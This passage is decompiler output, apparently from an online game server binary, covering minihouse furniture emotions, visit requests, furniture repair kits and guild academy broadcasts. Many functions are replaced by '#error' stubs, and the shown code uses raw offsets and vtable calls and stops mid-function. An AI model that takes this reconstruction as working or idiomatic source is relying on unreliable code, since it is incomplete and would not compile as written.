(00507750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v7; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*(_DWORD *)((char *)v1 + 32047) + 136) = (*(int (__thiscall **)(void *))(v2 + 2048))(v1); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 141) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2044))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4246; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2048))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); } //----- (00507870) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype) { void *v2; // esi@1 int v3; // ebp@2 int v4; // eax@2 signed int result; // eax@5 unsigned int v6; // ebp@6 unsigned int v7; // ebp@7 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; switch ( efftype ) { case 0: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); goto LABEL_4; case 1: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); LABEL_4: if ( v4 < (unsigned int)v3 ) goto $L148149; goto LABEL_9; case 2: case 3: case 4: case 5: goto $L148149; case 7: v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2) < v6 ) { $L148149: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 1; } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2) >= v7 ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 0; } else { v9 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } return result; default: goto LABEL_9; } } //----- (00507A00) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck) { return 6768; } //----- (00507A10) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq) { return 4484; } //----- (00507A20) -------------------------------------------------------- #error "507A20: undefined or illegal type '#331' (funcsize=47)" //----- (00507AC0) -------------------------------------------------------- #error "507AC0: undefined or illegal type '#331' (funcsize=47)" //----- (00507B60) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse portal del' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00507BE0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse visitor count' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00507C60) -------------------------------------------------------- #error "507C60: undefined or illegal type '#331' (funcsize=152)" //----- (00507E80) -------------------------------------------------------- #error "507E80: undefined or illegal type '#331' (funcsize=185)" //----- (005080C0) -------------------------------------------------------- #error "5080C0: undefined or illegal type '#331' (funcsize=175)" //----- (005082E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this) { return (int)((char *)this + 23640); } //----- (005082F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this) { *(_WORD *)(this + 23640) = -1; *(_WORD *)(this + 23642) = -1; *(_BYTE *)(this + 23644) = -1; *(_BYTE *)(this + 23645) = -1; return 1; } //----- (00508320) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd) { bool result; // al@2 if ( nFurnitureHnd == -1 ) result = 0; else result = *(_WORD *)(this + 23642) == nFurnitureHnd; return result; } //----- (00508340) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition) { return nFurnitureHnd != -1 && *(_WORD *)(this + 23642) == nFurnitureHnd && *(_BYTE *)(this + 23644) == nPosition; } //----- (00508370) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo) { return *(_BYTE *)(this + 23645) == nEmotionNo; } //----- (00508380) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this) { return *(_WORD *)(this + 23642); } //----- (00508390) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this) { return *(_BYTE *)(this + 23644); } //----- (005083A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this) { return *(_BYTE *)(this + 23645); } //----- (005083B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd) { *(_WORD *)(this + 23642) = nFurnitureHnd; return 1; } //----- (005083D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition) { *(_BYTE *)(this + 23644) = nPosition; return 1; } //----- (005083E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo) { *(_BYTE *)(this + 23645) = nEmotionNo; return 1; } //----- (005083F0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this) { int v1; // eax@1 v1 = this->smh_Furniture.FurnitureHandle; this->smh_Furniture.FurnitureHandle = v1 + 1; return v1; } //----- (00508410) -------------------------------------------------------- #error "508410: undefined or illegal type '#331' (funcsize=57)" //----- (005084D0) -------------------------------------------------------- #error "5084D0: undefined or illegal type '#331' (funcsize=63)" //----- (005085A0) -------------------------------------------------------- #error "5085A0: undefined or illegal type '#331' (funcsize=254)" //----- (005088F0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this) { return *(_WORD *)(this + 23378) != -1; } //----- (00508900) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum) { __int16 result; // ax@1 result = MHRegNum; *(_WORD *)(this + 23378) = MHRegNum; return result; } //----- (00508910) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this) { return *(_WORD *)(this + 23378); } //----- (00508920) -------------------------------------------------------- #error "508920: undefined or illegal type '#331' (funcsize=68)" //----- (005089D0) -------------------------------------------------------- #331 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this) { unsigned __int16 v1; // ax@1 v1 = (*(int (**)(void))(*(_DWORD *)this + 312))(); return ShineObjectManager::som_GetObject(&shineobjmanager, v1); } //----- (005089F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent) { int v2; // esi@1 int v3; // ecx@1 int result; // eax@2 v2 = this; v3 = *(_DWORD *)(this + 23648); if ( v3 ) { result = (**(int (__stdcall ***)(_DWORD))v3)(1); *(_DWORD *)(v2 + 23648) = 0; *(_DWORD *)(v2 + 23648) = pEvent; } else { *(_DWORD *)(v2 + 23648) = pEvent; } return result; } //----- (00508A30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this) { return *(_DWORD *)(this + 23648); } //----- (00508A40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this) { int v1; // edi@1 int v2; // esi@1 int v3; // eax@2 char result; // al@6 v1 = this; v2 = *(_DWORD *)(this + 23648); if ( v2 ) { v3 = *(_DWORD *)this; *(_DWORD *)(this + 23648) = 0; if ( (unsigned __int8)(*(int (**)(void))(v3 + 1136))() ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v2 + 4))(v2, v1); if ( v2 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v2)(v2, 1); result = 1; } else { result = 0; } return result; } //----- (00508AA0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (00508AD0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00508AF0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (00508B50) -------------------------------------------------------- #error "508B50: undefined or illegal type '#331' (funcsize=138)" //----- (00508D40) -------------------------------------------------------- #error "508D40: undefined or illegal type '#331' (funcsize=230)" //----- (00509060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 char v8; // al@13 int v9; // eax@14 char v10; // al@17 int v11; // eax@18 char v12; // al@22 int v13; // eax@23 __int16 v14; // ax@25 char *v15; // ecx@26 char v16; // al@26 int v17; // eax@27 char v18; // al@29 int v19; // eax@30 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v21; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S7_2 & 1) == 0; v6 = gpp.pp_Buffer; v21 = 0; *(_WORD *)gpp.pp_Buffer = 12340; if ( v5 ) { _S7_2 |= 1u; cmc_79.cmc_AllowMode = 6; atexit(_E8_33); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_79.cmc_AllowMode) ) { *((_WORD *)v6 + 3) = 6769; LABEL_7: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { LABEL_8: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); return; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_34: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_35; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v6 + 3) = 6774; goto LABEL_7; } if ( *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) { *((_WORD *)v6 + 3) = 6769; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) goto LABEL_8; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_34; } if ( *(_DWORD *)((char *)v4 + 98) ) { if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { *((_WORD *)v6 + 3) = 6772; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( *((_BYTE *)v4 + 69436) & 0xC ) { *((_WORD *)v6 + 3) = 6769; v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { *((_WORD *)v6 + 3) = 6769; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v14 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v4 + 316))(v4, netcmd + 2); if ( v14 != 6768 ) { v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12340; *((_WORD *)v15 + 3) = v14; v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v4, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } } else { *((_WORD *)v6 + 3) = 6770; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00509430) -------------------------------------------------------- #error "509430: undefined or illegal type '#440' (funcsize=304)" //----- (00509890) -------------------------------------------------------- #error "509890: undefined or illegal type '#331' (funcsize=246)" //----- (00509BE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 char v5; // al@9 int v6; // ecx@9 int v7; // eax@11 int v8; // edi@11 int v9; // ebx@22 int v10; // ebx@24 int v11; // eax@24 int v12; // eax@27 char *v13; // ST14_4@27 DebugLogging *v14; // eax@27 DebugLogging *v15; // eax@27 DebugLogging *v16; // eax@27 signed int v17; // [sp+18h] [bp-24h]@10 DebugLineFeed *v18; // [sp+1Ch] [bp-20h]@0 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S13_2 & 1) ) { _S13_2 |= 1u; cmc_81.cmc_AllowMode = 6; atexit(_E14_13); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_81.cmc_AllowMode ) { if ( *(_BYTE *)(v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2780))(v4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } else { if ( *(_DWORD *)(v4 + 98) ) { v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 304))(v4); v6 = v4; if ( v5 ) { v17 = 4485; } else { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2528))(v4); v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(netcmd + 2)); v8 = v7; v6 = v4; if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v7) > 0x2710 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4512); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 988))(v4, 288) || (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 152))(v8, netcmd + 4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 144))(v8, v4) ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 124))(v8, v4); (*(void (__thiscall **)(int, signed int, signed int, int))(*(_DWORD *)v4 + 776))(v4, 35, 17, v9); if ( v9 == 4481 ) { if ( !(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 340))(v8) || (v10 = *(_DWORD *)v4, v11 = (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v8 + 340))( v8, 6, 9, 10), !(unsigned __int8)(*(int (__thiscall **)(int, int))(v10 + 1472))(v4, v11)) ) { v12 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1664))(v4, "cannot enter minihouse"); v13 = NameString::operator__(&namestring, (Name4 *)(v12 + 2)); v14 = DebugLogging::operator<<(&InnerMiniHouseLog, "player ["); v15 = DebugLogging::operator<<(v14, v13); v16 = DebugLogging::operator<<(v15, deb_LF.dummy); DebugLogging::operator<<(v16, v18); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 136))(v8); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 308))(v4, *(_WORD *)(v8 + 4)); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 688))(v4); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v17 = 4485; } else { v17 = 4507; } v6 = v4; } else { v17 = 4487; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v6, 35, 17, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4499); } } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); } //----- (0050A5E0) -------------------------------------------------------- #error "50A5E0: undefined or illegal type '#331' (funcsize=192)" //----- (0050A890) -------------------------------------------------------- #error "50A890: undefined or illegal type '#331' (funcsize=249)" //----- (0050ABE0) -------------------------------------------------------- #error "50ABE0: undefined or illegal type '#331' (funcsize=115)" //----- (0050AD60) -------------------------------------------------------- #error "50AD60: undefined or illegal type '#331' (funcsize=112)" //----- (0050AED0) -------------------------------------------------------- #error "50AED0: undefined or illegal type '#331' (funcsize=115)" //----- (0050B050) -------------------------------------------------------- #error "50B050: undefined or illegal type '#331' (funcsize=175)" //----- (0050B2A0) -------------------------------------------------------- #error "50B2A0: undefined or illegal type '#331' (funcsize=150)" //----- (0050B4A0) -------------------------------------------------------- #error "50B4A0: undefined or illegal type '#331' (funcsize=165)" //----- (0050B6D0) -------------------------------------------------------- #error "50B6D0: undefined or illegal type '#331' (funcsize=164)" //----- (0050B900) -------------------------------------------------------- #error "50B900: undefined or illegal type '#331' (funcsize=176)" //----- (0050BB50) -------------------------------------------------------- #error "50BB50: undefined or illegal type '#331' (funcsize=173)" //----- (0050BDB0) -------------------------------------------------------- #error "50BDB0: undefined or illegal type '#331' (funcsize=165)" //----- (0050BFE0) -------------------------------------------------------- #error "50BFE0: undefined or illegal type '#331' (funcsize=507)" //----- (0050C6D0) -------------------------------------------------------- #error "50C6D0: undefined or illegal type '#331' (funcsize=187)" //----- (0050C9C0) -------------------------------------------------------- #error "50C9C0: undefined or illegal type '#331' (funcsize=269)" //----- (0050CD60) -------------------------------------------------------- #error "50CD60: undefined or illegal type '#331' (funcsize=560)" //----- (0050D510) -------------------------------------------------------- #error "50D510: undefined or illegal type '#331' (funcsize=189)" //----- (0050D800) -------------------------------------------------------- #error "50D800: undefined or illegal type '#331' (funcsize=286)" //----- (0050DBB0) -------------------------------------------------------- #error "50DBB0: undefined or illegal type '#331' (funcsize=175)" //----- (0050DE10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@1 unsigned __int16 v7; // ax@7 int v8; // eax@11 char v9; // al@14 int v10; // eax@15 char v11; // al@16 int v12; // eax@17 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@18 int v15; // [sp+24h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29594; *((_WORD *)v5 + 1) = 5912; v6 = *(_DWORD *)((char *)v4 + 98); v15 = 0; if ( !v6 ) { *((_WORD *)v5 + 1) = 5914; LABEL_3: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 312))(v4); if ( !ShineObjectManager::som_GetObject(&shineobjmanager, v7) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 704))(v4) == -1 ) { *((_WORD *)v5 + 1) = 5916; goto LABEL_3; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 688))(v4) ) { *((_WORD *)v5 + 1) = 5912; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } *(_WORD *)v5 = -29593; *((_WORD *)v5 + 1) = 1; *((_WORD *)v5 + 2) = *((_WORD *)v4 + 2); 